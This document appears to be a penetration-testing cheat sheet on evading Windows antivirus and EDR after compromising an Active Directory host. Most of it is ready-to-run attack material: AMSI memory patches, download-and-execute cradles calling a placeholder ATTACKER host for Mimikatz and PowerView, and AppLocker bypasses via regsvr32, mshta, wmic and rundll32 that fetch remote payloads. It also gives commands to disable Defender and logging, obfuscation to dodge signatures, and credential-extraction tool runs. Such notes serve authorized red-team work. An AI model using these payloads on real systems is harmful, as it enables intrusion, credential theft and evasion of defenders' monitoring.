AD Attacks

Windows AV/EDR Evasion

Post-compromise evasion for AD engagements: AMSI bypass (reflection/memory patch), PowerShell logging evasion, AppLocker bypass (regsvr32/mshta/msbuild/LOLBAS), Constrained Language Mode bypass, Defender exclusions, and C# tools without PowerShell.

Every AD attack payload runs through at least one security control. AMSI scans PowerShell, AppLocker blocks unsigned executables, and Defender/EDR flag known signatures. This note covers the sequence: check what’s active → bypass AMSI → bypass AppLocker → evade Defender.

Environment Recon (What’s Active)

# Windows Defender status
Get-MpComputerStatus | select AMServiceEnabled, RealTimeProtectionEnabled, AMRunningMode

# AppLocker policy
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections

# PowerShell Constrained Language Mode (CLM)
$ExecutionContext.SessionState.LanguageMode
# FullLanguage = no CLM; ConstrainedLanguage = AppLocker/WDAC active

# ScriptBlock logging
Get-ItemProperty 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'

# Module logging
Get-ItemProperty 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging'

# AMSI providers
reg query "HKLM\SOFTWARE\Microsoft\AMSI\Providers"

AMSI Bypass

AMSI (Antimalware Scan Interface) intercepts PowerShell script content and passes it to the installed AV provider. Patching AmsiScanBuffer in memory disables scanning for the current PS session.

All raw bypass snippets below are flagged by AV — encode/split them before use.

amsiInitFailed reflection (classic — encode before use)

# Technique — set amsiInitFailed to $true
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Force AMSI context to null

$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b=$a.GetField('amsiContext','NonPublic,Static')
$c=$b.GetValue($null)
[IntPtr]$d=$c
[Runtime.InteropServices.Marshal]::WriteInt32([IntPtr]($d.ToInt64()+8), 0)

PowerShell v2 (no AMSI support)

# PS v2 predates AMSI — no scanning
powershell -version 2 -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/payload.ps1')"

# Check if v2 is available
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root

Encoded command (bypass basic script block logging)

# Generate encoded command
$cmd = "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerView.ps1')"
$b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
powershell -enc $b64 -NoProfile -NonInteractive

Load from memory (avoid disk writes)

# HTTP download + execute in memory (no disk write)
IEX (New-Object System.Net.WebClient).DownloadString('http://ATTACKER/Invoke-Mimikatz.ps1')

PowerShell Logging Bypass

Disable ScriptBlock logging (requires admin)

Set-ItemProperty 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging' -Name EnableScriptBlockLogging -Value 0

Run without logging (non-interactive)

powershell -NoProfile -NonInteractive -WindowStyle Hidden -enc BASE64_CMD

Downgrade + no profile

powershell -version 2 -NoProfile -NoLogo -ExecutionPolicy Bypass -enc BASE64

AppLocker Bypass

AppLocker blocks execution of unsigned scripts and binaries outside allowed paths.

Find writable trusted paths

C:\Windows\Tasks\
C:\Windows\Temp\
C:\Windows\tracing\
C:\Windows\System32\spool\drivers\color\
%LOCALAPPDATA%\Temp\
%APPDATA%\
C:\Windows\System32\tasks\

regsvr32 — Squiblydoo (no AppLocker check, no mark-of-the-web)

regsvr32.exe /s /n /u /i:http://ATTACKER/payload.sct scrobj.dll

.sct file content:

<scriptlet>
  <script language="JScript">
    new ActiveXObject("WScript.Shell").Run("cmd.exe /c whoami > C:\\Temp\\out.txt")
  </script>
</scriptlet>

mshta — HTA execution (bypasses AppLocker script rules)

mshta.exe http://ATTACKER/payload.hta
mshta.exe vbscript:Close(Execute("CreateObject(""WScript.Shell"").Run(""powershell -enc BASE64"")"))

MSBuild — inline C# task (when .NET is trusted)

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe payload.csproj

payload.csproj inline task template executes arbitrary C# at build time.

InstallUtil — .NET 4.0 uninstaller bypass

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.exe

rundll32 — JavaScript via mshtml

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("cmd",0,true);

WMIC — JScript via xsl (XSL Script Processing)

wmic process list /format:http://ATTACKER/payload.xsl

PowerShell Constrained Language Mode Bypass

CLM restricts .NET/COM access. Methods to escape:

# Check current mode
$ExecutionContext.SessionState.LanguageMode

# PS v2 (full language)
powershell -version 2

# Direct .NET invocation (still works in CLM)
[System.Diagnostics.Process]::Start("cmd.exe", "/c whoami > C:\Temp\out.txt")

# Add-Type (compiles and runs C# — usually blocked in CLM with AppLocker)
Add-Type -TypeDefinition @"
using System.Diagnostics;
public class Exec {
    public static void Run(string cmd) { Process.Start("cmd.exe", "/c " + cmd); }
}
"@
[Exec]::Run("whoami")

When PS is fully locked, use C# compiled binaries (SharpView, Rubeus, SharpHound) instead — they run as normal executables outside CLM.


Windows Defender Exclusions

# Add exclusion (requires admin)
Add-MpPreference -ExclusionPath "C:\Temp"
Add-MpPreference -ExclusionExtension "ps1","exe"
Add-MpPreference -ExclusionProcess "powershell.exe"

# List existing exclusions
Get-MpPreference | Select ExclusionPath, ExclusionExtension, ExclusionProcess

# Disable real-time protection (requires admin)
Set-MpPreference -DisableRealtimeMonitoring $true

# Registry disable (persistent)
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f

String Obfuscation

# Split strings to break signatures
$iex = 'Inv'+'oke-Exp'+'ression'
& ([scriptblock]::Create($iex)) "whoami"

# Character concatenation
$cmd = [char]119+[char]104+[char]111+[char]97+[char]109+[char]105  # "whoami"
Invoke-Expression $cmd

# Variable substitution
$a = "am"; $b = "si"; Set-Variable ($a+$b) $null

# Tick escaping (PS-specific)
I`E`X (New-Object Net.WebClient).DownloadString('http://ATTACKER/payload.ps1')

LOLBAS Reference

Microsoft-signed binaries for code execution, download, or persistence:

BinaryTechniqueUse Case
regsvr32.exeSquiblydoo SCTAppLocker bypass
mshta.exeHTA/VBScriptAppLocker bypass
msbuild.exeInline C# taskAppLocker bypass
installutil.exeUninstall eventAppLocker bypass
certutil.exe-decode / -urlcacheDownload + decode payload
bitsadmin.exe/TransferDownload files
wmic.exe/format: xslAppLocker bypass
cmstp.exeINF fileAppLocker bypass
forfiles.exe/c cmdTrusted path execution
odbcconf.exe/a REGSVRDLL registration
pcalua.exe-a executableExecution via PCAppCompat
xwizard.exeDLL hijackSideloading

Full list: https://lolbas-project.github.io/


C# Tools Without PowerShell

When PS is fully blocked, compiled C# executables bypass PS-level controls:

# AD enumeration
.\SharpView.exe Get-DomainUser -KerberosPreauthNotRequired
.\SharpView.exe Find-LocalAdminAccess

# Kerberos attacks
.\Rubeus.exe kerberoast /nowrap
.\Rubeus.exe asreproast /format:hashcat

# BloodHound collection
.\SharpHound.exe -c All

# Credential extraction
.\SharpDPAPI.exe credentials
.\SharpUp.exe audit

# Privilege escalation checks
.\Seatbelt.exe -group=user